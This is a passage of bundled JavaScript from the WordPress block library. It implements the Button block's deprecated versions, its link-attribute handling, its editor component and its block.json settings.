        colorProps.className,
        borderProps.className,
        {
          // For backwards compatibility add style that isn't provided via
          // block support.
          "no-border-radius": style2?.border?.radius === 0
        }
      );
      const buttonStyle = {
        ...borderProps.style,
        ...colorProps.style,
        ...spacingProps.style
      };
      const wrapperClasses = clsx_default(className, {
        [`has-custom-width wp-block-button__width-${width}`]: width,
        [`has-custom-font-size`]: fontSize || style2?.typography?.fontSize
      });
      return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)("div", { ...import_block_editor19.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
        import_block_editor19.RichText.Content,
        {
          tagName: "a",
          className: buttonClasses,
          href: url,
          title,
          style: buttonStyle,
          value: text,
          target: linkTarget,
          rel
        }
      ) });
    },
    migrate: migrate_font_family_default,
    isEligible({ style: style2 }) {
      return style2?.typography?.fontFamily;
    }
  };
  var deprecated = [
    v13,
    v12,
    v11,
    v10,
    {
      supports: {
        anchor: true,
        align: true,
        alignWide: false,
        color: {
          __experimentalSkipSerialization: true,
          gradients: true
        },
        typography: {
          fontSize: true,
          __experimentalFontFamily: true
        },
        reusable: false,
        __experimentalSelector: ".wp-block-button__link"
      },
      attributes: {
        ...blockAttributes,
        linkTarget: {
          type: "string",
          source: "attribute",
          selector: "a",
          attribute: "target"
        },
        rel: {
          type: "string",
          source: "attribute",
          selector: "a",
          attribute: "rel"
        },
        placeholder: {
          type: "string"
        },
        backgroundColor: {
          type: "string"
        },
        textColor: {
          type: "string"
        },
        gradient: {
          type: "string"
        },
        width: {
          type: "number"
        }
      },
      isEligible({ style: style2 }) {
        return typeof style2?.border?.radius === "number";
      },
      save({ attributes: attributes2, className }) {
        const {
          fontSize,
          linkTarget,
          rel,
          style: style2,
          text,
          title,
          url,
          width
        } = attributes2;
        if (!text) {
          return null;
        }
        const borderRadius = style2?.border?.radius;
        const colorProps = (0, import_block_editor19.__experimentalGetColorClassesAndStyles)(attributes2);
        const buttonClasses = clsx_default(
          "wp-block-button__link",
          colorProps.className,
          {
            "no-border-radius": style2?.border?.radius === 0
          }
        );
        const buttonStyle = {
          borderRadius: borderRadius ? borderRadius : void 0,
          ...colorProps.style
        };
        const wrapperClasses = clsx_default(className, {
          [`has-custom-width wp-block-button__width-${width}`]: width,
          [`has-custom-font-size`]: fontSize || style2?.typography?.fontSize
        });
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)("div", { ...import_block_editor19.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          import_block_editor19.RichText.Content,
          {
            tagName: "a",
            className: buttonClasses,
            href: url,
            title,
            style: buttonStyle,
            value: text,
            target: linkTarget,
            rel
          }
        ) });
      },
      migrate: (0, import_compose6.compose)(migrate_font_family_default, migrateBorderRadius)
    },
    {
      supports: {
        anchor: true,
        align: true,
        alignWide: false,
        color: {
          __experimentalSkipSerialization: true
        },
        reusable: false,
        __experimentalSelector: ".wp-block-button__link"
      },
      attributes: {
        ...blockAttributes,
        linkTarget: {
          type: "string",
          source: "attribute",
          selector: "a",
          attribute: "target"
        },
        rel: {
          type: "string",
          source: "attribute",
          selector: "a",
          attribute: "rel"
        },
        placeholder: {
          type: "string"
        },
        borderRadius: {
          type: "number"
        },
        backgroundColor: {
          type: "string"
        },
        textColor: {
          type: "string"
        },
        gradient: {
          type: "string"
        },
        style: {
          type: "object"
        },
        width: {
          type: "number"
        }
      },
      save({ attributes: attributes2, className }) {
        const { borderRadius, linkTarget, rel, text, title, url, width } = attributes2;
        const colorProps = (0, import_block_editor19.__experimentalGetColorClassesAndStyles)(attributes2);
        const buttonClasses = clsx_default(
          "wp-block-button__link",
          colorProps.className,
          {
            "no-border-radius": borderRadius === 0
          }
        );
        const buttonStyle = {
          borderRadius: borderRadius ? borderRadius + "px" : void 0,
          ...colorProps.style
        };
        const wrapperClasses = clsx_default(className, {
          [`has-custom-width wp-block-button__width-${width}`]: width
        });
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)("div", { ...import_block_editor19.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          import_block_editor19.RichText.Content,
          {
            tagName: "a",
            className: buttonClasses,
            href: url,
            title,
            style: buttonStyle,
            value: text,
            target: linkTarget,
            rel
          }
        ) });
      },
      migrate: (0, import_compose6.compose)(migrate_font_family_default, migrateBorderRadius)
    },
    {
      supports: {
        anchor: true,
        align: true,
        alignWide: false,
        color: {
          __experimentalSkipSerialization: true
        },
        reusable: false,
        __experimentalSelector: ".wp-block-button__link"
      },
      attributes: {
        ...blockAttributes,
        linkTarget: {
          type: "string",
          source: "attribute",
          selector: "a",
          attribute: "target"
        },
        rel: {
          type: "string",
          source: "attribute",
          selector: "a",
          attribute: "rel"
        },
        placeholder: {
          type: "string"
        },
        borderRadius: {
          type: "number"
        },
        backgroundColor: {
          type: "string"
        },
        textColor: {
          type: "string"
        },
        gradient: {
          type: "string"
        },
        style: {
          type: "object"
        },
        width: {
          type: "number"
        }
      },
      save({ attributes: attributes2, className }) {
        const { borderRadius, linkTarget, rel, text, title, url, width } = attributes2;
        const colorProps = (0, import_block_editor19.__experimentalGetColorClassesAndStyles)(attributes2);
        const buttonClasses = clsx_default(
          "wp-block-button__link",
          colorProps.className,
          {
            "no-border-radius": borderRadius === 0
          }
        );
        const buttonStyle = {
          borderRadius: borderRadius ? borderRadius + "px" : void 0,
          ...colorProps.style
        };
        const wrapperClasses = clsx_default(className, {
          [`has-custom-width wp-block-button__width-${width}`]: width
        });
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)("div", { ...import_block_editor19.useBlockProps.save({ className: wrapperClasses }), children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          import_block_editor19.RichText.Content,
          {
            tagName: "a",
            className: buttonClasses,
            href: url,
            title,
            style: buttonStyle,
            value: text,
            target: linkTarget,
            rel
          }
        ) });
      },
      migrate: (0, import_compose6.compose)(migrate_font_family_default, migrateBorderRadius)
    },
    {
      supports: {
        align: true,
        alignWide: false,
        color: { gradients: true }
      },
      attributes: {
        ...blockAttributes,
        linkTarget: {
          type: "string",
          source: "attribute",
          selector: "a",
          attribute: "target"
        },
        rel: {
          type: "string",
          source: "attribute",
          selector: "a",
          attribute: "rel"
        },
        placeholder: {
          type: "string"
        },
        borderRadius: {
          type: "number"
        },
        backgroundColor: {
          type: "string"
        },
        textColor: {
          type: "string"
        },
        gradient: {
          type: "string"
        },
        style: {
          type: "object"
        }
      },
      save({ attributes: attributes2 }) {
        const { borderRadius, linkTarget, rel, text, title, url } = attributes2;
        const buttonClasses = clsx_default("wp-block-button__link", {
          "no-border-radius": borderRadius === 0
        });
        const buttonStyle = {
          borderRadius: borderRadius ? borderRadius + "px" : void 0
        };
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          import_block_editor19.RichText.Content,
          {
            tagName: "a",
            className: buttonClasses,
            href: url,
            title,
            style: buttonStyle,
            value: text,
            target: linkTarget,
            rel
          }
        );
      },
      migrate: migrateBorderRadius
    },
    {
      supports: {
        align: true,
        alignWide: false
      },
      attributes: {
        ...blockAttributes,
        linkTarget: {
          type: "string",
          source: "attribute",
          selector: "a",
          attribute: "target"
        },
        rel: {
          type: "string",
          source: "attribute",
          selector: "a",
          attribute: "rel"
        },
        placeholder: {
          type: "string"
        },
        borderRadius: {
          type: "number"
        },
        backgroundColor: {
          type: "string"
        },
        textColor: {
          type: "string"
        },
        customBackgroundColor: {
          type: "string"
        },
        customTextColor: {
          type: "string"
        },
        customGradient: {
          type: "string"
        },
        gradient: {
          type: "string"
        }
      },
      isEligible: (attributes2) => !!attributes2.customTextColor || !!attributes2.customBackgroundColor || !!attributes2.customGradient || !!attributes2.align,
      migrate: (0, import_compose6.compose)(
        migrateBorderRadius,
        migrateCustomColorsAndGradients,
        migrateAlign
      ),
      save({ attributes: attributes2 }) {
        const {
          backgroundColor,
          borderRadius,
          customBackgroundColor,
          customTextColor,
          customGradient,
          linkTarget,
          gradient,
          rel,
          text,
          textColor,
          title,
          url
        } = attributes2;
        const textClass = (0, import_block_editor19.getColorClassName)("color", textColor);
        const backgroundClass = !customGradient && (0, import_block_editor19.getColorClassName)("background-color", backgroundColor);
        const gradientClass = (0, import_block_editor19.__experimentalGetGradientClass)(gradient);
        const buttonClasses = clsx_default("wp-block-button__link", {
          "has-text-color": textColor || customTextColor,
          [textClass]: textClass,
          "has-background": backgroundColor || customBackgroundColor || customGradient || gradient,
          [backgroundClass]: backgroundClass,
          "no-border-radius": borderRadius === 0,
          [gradientClass]: gradientClass
        });
        const buttonStyle = {
          background: customGradient ? customGradient : void 0,
          backgroundColor: backgroundClass || customGradient || gradient ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor,
          borderRadius: borderRadius ? borderRadius + "px" : void 0
        };
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)("div", { children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          import_block_editor19.RichText.Content,
          {
            tagName: "a",
            className: buttonClasses,
            href: url,
            title,
            style: buttonStyle,
            value: text,
            target: linkTarget,
            rel
          }
        ) });
      }
    },
    {
      attributes: {
        ...blockAttributes,
        align: {
          type: "string",
          default: "none"
        },
        backgroundColor: {
          type: "string"
        },
        textColor: {
          type: "string"
        },
        customBackgroundColor: {
          type: "string"
        },
        customTextColor: {
          type: "string"
        },
        linkTarget: {
          type: "string",
          source: "attribute",
          selector: "a",
          attribute: "target"
        },
        rel: {
          type: "string",
          source: "attribute",
          selector: "a",
          attribute: "rel"
        },
        placeholder: {
          type: "string"
        }
      },
      isEligible(attribute) {
        return attribute.className && attribute.className.includes("is-style-squared");
      },
      migrate(attributes2) {
        let newClassName = attributes2.className;
        if (newClassName) {
          newClassName = newClassName.replace(/is-style-squared[\s]?/, "").trim();
        }
        return migrateBorderRadius(
          migrateCustomColorsAndGradients({
            ...attributes2,
            className: newClassName ? newClassName : void 0,
            borderRadius: 0
          })
        );
      },
      save({ attributes: attributes2 }) {
        const {
          backgroundColor,
          customBackgroundColor,
          customTextColor,
          linkTarget,
          rel,
          text,
          textColor,
          title,
          url
        } = attributes2;
        const textClass = (0, import_block_editor19.getColorClassName)("color", textColor);
        const backgroundClass = (0, import_block_editor19.getColorClassName)(
          "background-color",
          backgroundColor
        );
        const buttonClasses = clsx_default("wp-block-button__link", {
          "has-text-color": textColor || customTextColor,
          [textClass]: textClass,
          "has-background": backgroundColor || customBackgroundColor,
          [backgroundClass]: backgroundClass
        });
        const buttonStyle = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor
        };
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)("div", { children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          import_block_editor19.RichText.Content,
          {
            tagName: "a",
            className: buttonClasses,
            href: url,
            title,
            style: buttonStyle,
            value: text,
            target: linkTarget,
            rel
          }
        ) });
      }
    },
    {
      attributes: {
        ...blockAttributes,
        align: {
          type: "string",
          default: "none"
        },
        backgroundColor: {
          type: "string"
        },
        textColor: {
          type: "string"
        },
        customBackgroundColor: {
          type: "string"
        },
        customTextColor: {
          type: "string"
        }
      },
      migrate: oldColorsMigration,
      save({ attributes: attributes2 }) {
        const {
          url,
          text,
          title,
          backgroundColor,
          textColor,
          customBackgroundColor,
          customTextColor
        } = attributes2;
        const textClass = (0, import_block_editor19.getColorClassName)("color", textColor);
        const backgroundClass = (0, import_block_editor19.getColorClassName)(
          "background-color",
          backgroundColor
        );
        const buttonClasses = clsx_default("wp-block-button__link", {
          "has-text-color": textColor || customTextColor,
          [textClass]: textClass,
          "has-background": backgroundColor || customBackgroundColor,
          [backgroundClass]: backgroundClass
        });
        const buttonStyle = {
          backgroundColor: backgroundClass ? void 0 : customBackgroundColor,
          color: textClass ? void 0 : customTextColor
        };
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)("div", { children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          import_block_editor19.RichText.Content,
          {
            tagName: "a",
            className: buttonClasses,
            href: url,
            title,
            style: buttonStyle,
            value: text
          }
        ) });
      }
    },
    {
      attributes: {
        ...blockAttributes,
        color: {
          type: "string"
        },
        textColor: {
          type: "string"
        },
        align: {
          type: "string",
          default: "none"
        }
      },
      save({ attributes: attributes2 }) {
        const { url, text, title, align, color, textColor } = attributes2;
        const buttonStyle = {
          backgroundColor: color,
          color: textColor
        };
        const linkClass = "wp-block-button__link";
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)("div", { className: `align${align}`, children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          import_block_editor19.RichText.Content,
          {
            tagName: "a",
            className: linkClass,
            href: url,
            title,
            style: buttonStyle,
            value: text
          }
        ) });
      },
      migrate: oldColorsMigration
    },
    {
      attributes: {
        ...blockAttributes,
        color: {
          type: "string"
        },
        textColor: {
          type: "string"
        },
        align: {
          type: "string",
          default: "none"
        }
      },
      save({ attributes: attributes2 }) {
        const { url, text, title, align, color, textColor } = attributes2;
        return /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
          "div",
          {
            className: `align${align}`,
            style: { backgroundColor: color },
            children: /* @__PURE__ */ (0, import_jsx_runtime175.jsx)(
              import_block_editor19.RichText.Content,
              {
                tagName: "a",
                href: url,
                title,
                style: { color: textColor },
                value: text
              }
            )
          }
        );
      },
      migrate: oldColorsMigration
    }
  ];
  var deprecated_default3 = deprecated;

  // packages/block-library/build-module/button/edit.mjs
  var import_i18n13 = __toESM(require_i18n(), 1);
  var import_element10 = __toESM(require_element(), 1);
  var import_components10 = __toESM(require_components(), 1);
  var import_block_editor21 = __toESM(require_block_editor(), 1);
  var import_keycodes = __toESM(require_keycodes(), 1);
  var import_blocks7 = __toESM(require_blocks(), 1);
  var import_compose8 = __toESM(require_compose(), 1);
  var import_data11 = __toESM(require_data(), 1);

  // packages/block-library/build-module/button/constants.mjs
  var NEW_TAB_REL = "noreferrer noopener";
  var NEW_TAB_TARGET = "_blank";
  var NOFOLLOW_REL = "nofollow";

  // packages/block-library/build-module/button/get-updated-link-attributes.mjs
  var import_url2 = __toESM(require_url(), 1);
  function getUpdatedLinkAttributes({
    rel = "",
    url = "",
    opensInNewTab,
    nofollow
  }) {
    let newLinkTarget;
    let updatedRel = rel;
    if (opensInNewTab) {
      newLinkTarget = NEW_TAB_TARGET;
      updatedRel = updatedRel?.includes(NEW_TAB_REL) ? updatedRel : updatedRel + ` ${NEW_TAB_REL}`;
    } else {
      const relRegex = new RegExp(`\\b${NEW_TAB_REL}\\s*`, "g");
      updatedRel = updatedRel?.replace(relRegex, "").trim();
    }
    if (nofollow) {
      updatedRel = updatedRel?.includes(NOFOLLOW_REL) ? updatedRel : (updatedRel + ` ${NOFOLLOW_REL}`).trim();
    } else {
      const relRegex = new RegExp(`\\b${NOFOLLOW_REL}\\s*`, "g");
      updatedRel = updatedRel?.replace(relRegex, "").trim();
    }
    return {
      url: (0, import_url2.prependHTTPS)(url),
      linkTarget: newLinkTarget,
      rel: updatedRel || void 0
    };
  }

  // packages/block-library/build-module/utils/remove-anchor-tag.mjs
  function removeAnchorTag(value) {
    return value.toString().replace(/<\/?a[^>]*>/g, "");
  }

  // packages/block-library/build-module/utils/deprecated-text-align-attributes.mjs
  var import_compose7 = __toESM(require_compose(), 1);
  var import_element9 = __toESM(require_element(), 1);
  var import_deprecated3 = __toESM(require_deprecated(), 1);
  var import_data10 = __toESM(require_data(), 1);
  var import_block_editor20 = __toESM(require_block_editor(), 1);
  function useDeprecatedTextAlign(props) {
    const { name: name123, attributes: attributes2, setAttributes } = props;
    const { textAlign } = attributes2;
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data10.useDispatch)(import_block_editor20.store);
    const updateStyleWithAlign = (0, import_compose7.useEvent)(() => {
      (0, import_deprecated3.default)(`textAlign attribute in ${name123}`, {
        alternative: "style.typography.textAlign",
        since: "7.0"
      });
      __unstableMarkNextChangeAsNotPersistent();
      setAttributes((currentAttr) => ({
        style: {
          ...currentAttr.style,
          typography: {
            ...currentAttr.style?.typography,
            textAlign
          }
        }
      }));
    });
    const lastUpdatedAlignRef = (0, import_element9.useRef)();
    (0, import_element9.useEffect)(() => {
      if (textAlign === lastUpdatedAlignRef.current) {
        return;
      }
      lastUpdatedAlignRef.current = textAlign;
      updateStyleWithAlign();
    }, [textAlign, updateStyleWithAlign]);
  }

  // packages/block-library/build-module/button/edit.mjs
  var import_jsx_runtime176 = __toESM(require_jsx_runtime(), 1);
  var { HTMLElementControl } = unlock(import_block_editor21.privateApis);
  var LINK_SETTINGS = [
    ...import_block_editor21.LinkControl.DEFAULT_LINK_SETTINGS,
    {
      id: "nofollow",
      title: (0, import_i18n13.__)("Mark as nofollow")
    }
  ];
  function useEnter(props) {
    const { replaceBlocks, selectionChange } = (0, import_data11.useDispatch)(import_block_editor21.store);
    const { getBlock, getBlockRootClientId, getBlockIndex } = (0, import_data11.useSelect)(import_block_editor21.store);
    const propsRef = (0, import_element10.useRef)(props);
    propsRef.current = props;
    return (0, import_compose8.useRefEffect)((element) => {
      function onKeyDown(event) {
        if (event.defaultPrevented || event.keyCode !== import_keycodes.ENTER) {
          return;
        }
        const { content, clientId } = propsRef.current;
        if (content.length) {
          return;
        }
        event.preventDefault();
        const topParentListBlock = getBlock(
          getBlockRootClientId(clientId)
        );
        const blockIndex = getBlockIndex(clientId);
        const head = (0, import_blocks7.cloneBlock)({
          ...topParentListBlock,
          innerBlocks: topParentListBlock.innerBlocks.slice(
            0,
            blockIndex
          )
        });
        const middle = (0, import_blocks7.createBlock)((0, import_blocks7.getDefaultBlockName)());
        const after = topParentListBlock.innerBlocks.slice(
          blockIndex + 1
        );
        const tail = after.length ? [
          (0, import_blocks7.cloneBlock)({
            ...topParentListBlock,
            innerBlocks: after
          })
        ] : [];
        replaceBlocks(
          topParentListBlock.clientId,
          [head, middle, ...tail],
          1
        );
        selectionChange(middle.clientId);
      }
      element.addEventListener("keydown", onKeyDown);
      return () => {
        element.removeEventListener("keydown", onKeyDown);
      };
    }, []);
  }
  function WidthPanel({ selectedWidth, setAttributes }) {
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
      import_components10.__experimentalToolsPanel,
      {
        label: (0, import_i18n13.__)("Settings"),
        resetAll: () => setAttributes({ width: void 0 }),
        dropdownMenuProps,
        children: /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
          import_components10.__experimentalToolsPanelItem,
          {
            label: (0, import_i18n13.__)("Width"),
            isShownByDefault: true,
            hasValue: () => !!selectedWidth,
            onDeselect: () => setAttributes({ width: void 0 }),
            children: /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
              import_components10.__experimentalToggleGroupControl,
              {
                label: (0, import_i18n13.__)("Width"),
                value: selectedWidth,
                onChange: (newWidth) => setAttributes({ width: newWidth }),
                isBlock: true,
                __next40pxDefaultSize: true,
                children: [25, 50, 75, 100].map((widthValue) => {
                  return /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
                    import_components10.__experimentalToggleGroupControlOption,
                    {
                      value: widthValue,
                      label: (0, import_i18n13.sprintf)(
                        /* translators: %d: Percentage value. */
                        (0, import_i18n13.__)("%d%%"),
                        widthValue
                      )
                    },
                    widthValue
                  );
                })
              }
            )
          }
        )
      }
    );
  }
  function ButtonEdit(props) {
    const {
      attributes: attributes2,
      setAttributes,
      className,
      isSelected,
      onReplace,
      mergeBlocks,
      clientId,
      context
    } = props;
    const {
      tagName,
      linkTarget,
      placeholder: placeholder2,
      rel,
      style: style2,
      text,
      url,
      width,
      metadata
    } = attributes2;
    useDeprecatedTextAlign(props);
    const TagName2 = tagName || "a";
    function onKeyDown(event) {
      if (import_keycodes.isKeyboardEvent.primary(event, "k")) {
        startEditing(event);
      } else if (import_keycodes.isKeyboardEvent.primaryShift(event, "k")) {
        unlink();
        richTextRef.current?.focus();
      }
    }
    const [popoverAnchor, setPopoverAnchor] = (0, import_element10.useState)(null);
    const borderProps = (0, import_block_editor21.__experimentalUseBorderProps)(attributes2);
    const colorProps = (0, import_block_editor21.__experimentalUseColorProps)(attributes2);
    const spacingProps = (0, import_block_editor21.__experimentalGetSpacingClassesAndStyles)(attributes2);
    const shadowProps = (0, import_block_editor21.__experimentalGetShadowClassesAndStyles)(attributes2);
    const ref = (0, import_element10.useRef)();
    const richTextRef = (0, import_element10.useRef)();
    const blockProps = (0, import_block_editor21.useBlockProps)({
      ref: (0, import_compose8.useMergeRefs)([setPopoverAnchor, ref]),
      onKeyDown
    });
    const blockEditingMode = (0, import_block_editor21.useBlockEditingMode)();
    const [isEditingURL, setIsEditingURL] = (0, import_element10.useState)(false);
    const isURLSet = !!url;
    const opensInNewTab = linkTarget === NEW_TAB_TARGET;
    const nofollow = !!rel?.includes(NOFOLLOW_REL);
    const isLinkTag = "a" === TagName2;
    const {
      createPageEntity,
      userCanCreatePages,
      lockUrlControls = false
    } = (0, import_data11.useSelect)(
      (select9) => {
        if (!isSelected) {
          return {};
        }
        const _settings = select9(import_block_editor21.store).getSettings();
        const blockBindingsSource = (0, import_blocks7.getBlockBindingsSource)(
          metadata?.bindings?.url?.source
        );
        return {
          createPageEntity: _settings.__experimentalCreatePageEntity,
          userCanCreatePages: _settings.__experimentalUserCanCreatePages,
          lockUrlControls: !!metadata?.bindings?.url && !blockBindingsSource?.canUserEditValue?.({
            select: select9,
            context,
            args: metadata?.bindings?.url?.args
          })
        };
      },
      [context, isSelected, metadata?.bindings?.url]
    );
    async function handleCreate(pageTitle) {
      const page = await createPageEntity({
        title: pageTitle,
        status: "draft"
      });
      return {
        id: page.id,
        type: page.type,
        title: page.title.rendered,
        url: page.link,
        kind: "post-type"
      };
    }
    function createButtonText(searchTerm) {
      return (0, import_element10.createInterpolateElement)(
        (0, import_i18n13.sprintf)(
          /* translators: %s: search term. */
          (0, import_i18n13.__)("Create page: <mark>%s</mark>"),
          searchTerm
        ),
        { mark: /* @__PURE__ */ (0, import_jsx_runtime176.jsx)("mark", {}) }
      );
    }
    function startEditing(event) {
      event.preventDefault();
      setIsEditingURL(true);
    }
    function unlink() {
      setAttributes({
        url: void 0,
        linkTarget: void 0,
        rel: void 0
      });
      setIsEditingURL(false);
    }
    (0, import_element10.useEffect)(() => {
      if (!isSelected) {
        setIsEditingURL(false);
      }
    }, [isSelected]);
    const linkValue = (0, import_element10.useMemo)(
      () => ({ url, opensInNewTab, nofollow }),
      [url, opensInNewTab, nofollow]
    );
    const useEnterRef = useEnter({ content: text, clientId });
    const mergedRef = (0, import_compose8.useMergeRefs)([useEnterRef, richTextRef]);
    const [fluidTypographySettings, layout] = (0, import_block_editor21.useSettings)(
      "typography.fluid",
      "layout"
    );
    const typographyProps = (0, import_block_editor21.getTypographyClassesAndStyles)(attributes2, {
      typography: {
        fluid: fluidTypographySettings
      },
      layout: {
        wideSize: layout?.wideSize
      }
    });
    const hasNonContentControls = blockEditingMode === "default";
    const hasBlockControls = hasNonContentControls || isLinkTag && !lockUrlControls;
    return /* @__PURE__ */ (0, import_jsx_runtime176.jsxs)(import_jsx_runtime176.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
        "div",
        {
          ...blockProps,
          className: clsx_default(blockProps.className, {
            [`has-custom-width wp-block-button__width-${width}`]: width
          }),
          children: /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
            import_block_editor21.RichText,
            {
              ref: mergedRef,
              "aria-label": (0, import_i18n13.__)("Button text"),
              placeholder: placeholder2 || (0, import_i18n13.__)("Add text\u2026"),
              value: text,
              onChange: (value) => setAttributes({
                text: removeAnchorTag(value)
              }),
              withoutInteractiveFormatting: true,
              className: clsx_default(
                className,
                "wp-block-button__link",
                colorProps.className,
                borderProps.className,
                typographyProps.className,
                {
                  // For backwards compatibility add style that isn't
                  // provided via block support.
                  "no-border-radius": style2?.border?.radius === 0,
                  [`has-custom-font-size`]: blockProps.style.fontSize
                },
                (0, import_block_editor21.__experimentalGetElementClassName)("button")
              ),
              style: {
                ...borderProps.style,
                ...colorProps.style,
                ...spacingProps.style,
                ...shadowProps.style,
                ...typographyProps.style,
                writingMode: void 0
              },
              onReplace,
              onMerge: mergeBlocks,
              identifier: "text"
            }
          )
        }
      ),
      hasBlockControls && /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(import_block_editor21.BlockControls, { group: "block", children: isLinkTag && !lockUrlControls && /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
        import_components10.ToolbarButton,
        {
          name: "link",
          icon: !isURLSet ? link_default : link_off_default,
          title: !isURLSet ? (0, import_i18n13.__)("Link") : (0, import_i18n13.__)("Unlink"),
          shortcut: !isURLSet ? import_keycodes.displayShortcut.primary("k") : import_keycodes.displayShortcut.primaryShift("k"),
          onClick: !isURLSet ? startEditing : unlink,
          isActive: isURLSet
        }
      ) }),
      isLinkTag && isSelected && (isEditingURL || isURLSet) && !lockUrlControls && /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
        import_components10.Popover,
        {
          placement: "bottom",
          onClose: () => {
            setIsEditingURL(false);
            richTextRef.current?.focus();
          },
          anchor: popoverAnchor,
          focusOnMount: isEditingURL ? "firstElement" : false,
          __unstableSlotName: "__unstable-block-tools-after",
          shift: true,
          children: /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
            import_block_editor21.LinkControl,
            {
              value: linkValue,
              onChange: ({
                url: newURL,
                opensInNewTab: newOpensInNewTab,
                nofollow: newNofollow
              }) => setAttributes(
                getUpdatedLinkAttributes({
                  rel,
                  url: newURL,
                  opensInNewTab: newOpensInNewTab,
                  nofollow: newNofollow
                })
              ),
              onRemove: () => {
                unlink();
                richTextRef.current?.focus();
              },
              forceIsEditingLink: isEditingURL,
              settings: LINK_SETTINGS,
              createSuggestion: createPageEntity && handleCreate,
              withCreateSuggestion: userCanCreatePages,
              createSuggestionButtonText: createButtonText
            }
          )
        }
      ),
      /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(import_block_editor21.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
        WidthPanel,
        {
          selectedWidth: width,
          setAttributes
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime176.jsxs)(import_block_editor21.InspectorControls, { group: "advanced", children: [
        /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
          HTMLElementControl,
          {
            tagName,
            onChange: (value) => setAttributes({ tagName: value }),
            options: [
              { label: (0, import_i18n13.__)("Default (<a>)"), value: "a" },
              { label: "<button>", value: "button" }
            ]
          }
        ),
        isLinkTag && /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(
          import_components10.TextControl,
          {
            __next40pxDefaultSize: true,
            label: (0, import_i18n13.__)("Link relation"),
            help: (0, import_element10.createInterpolateElement)(
              (0, import_i18n13.__)(
                "The <a>Link Relation</a> attribute defines the relationship between a linked resource and the current document."
              ),
              {
                a: /* @__PURE__ */ (0, import_jsx_runtime176.jsx)(import_components10.ExternalLink, { href: "https://developer.mozilla.org/docs/Web/HTML/Attributes/rel" })
              }
            ),
            value: rel || "",
            onChange: (newRel) => setAttributes({ rel: newRel })
          }
        )
      ] })
    ] });
  }
  var edit_default2 = ButtonEdit;

  // packages/block-library/build-module/button/block.json
  var block_default10 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/button",
    title: "Button",
    category: "design",
    parent: ["core/buttons"],
    description: "Prompt visitors to take action with a button-style link.",
    keywords: ["link"],
    textdomain: "default",
    attributes: {
      tagName: {
        type: "string",
        enum: ["a", "button"],
        default: "a"
      },
      type: {
        type: "string",
        default: "button"
      },
      url: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "href",
        role: "content"
      },
      title: {
        type: "string",
        source: "attribute",
        selector: "a,button",
        attribute: "title",
        role: "content"
      },
      text: {
        type: "rich-text",
        source: "rich-text",
        selector: "a,button",
        role: "content"
      },
      linkTarget: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "target",
        role: "content"
      },
      rel: {
        type: "string",
        source: "attribute",
        selector: "a",
        attribute: "rel",
        role: "content"
      },
      placeholder: {
        type: "string"
      },
      backgroundColor: {
        type: "string"
      },
      textColor: {
        type: "string"
      },
      gradient: {
        type: "string"
      },
      width: {
        type: "number"
      }
    },
    supports: {
      anchor: true,
      splitting: true,
      align: false,
      alignWide: false,
      color: {
        __experimentalSkipSerialization: true,
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        __experimentalSkipSerialization: [
          "fontSize",
          "lineHeight",
          "textAlign",
          "fontFamily",
          "fontWeight",
          "fontStyle",
          "textTransform",
          "textDecoration",
          "letterSpacing"
        ],
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalWritingMode: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      reusable: false,
      shadow: {
        __experimentalSkipSerialization: true
      },
      spacing: {
        __experimentalSkipSerialization: true,
        padding: ["horizontal", "vertical"],
        __experimentalDefaultControls: {
          padding: true
        }
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalSkipSerialization: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      interactivity: {
        clientNavigation: true
      }
    },
    styles: [
      { name: "fill", label: "Fill", isDefault: true },
      { name: "outline", label: "Outline" }
    ],
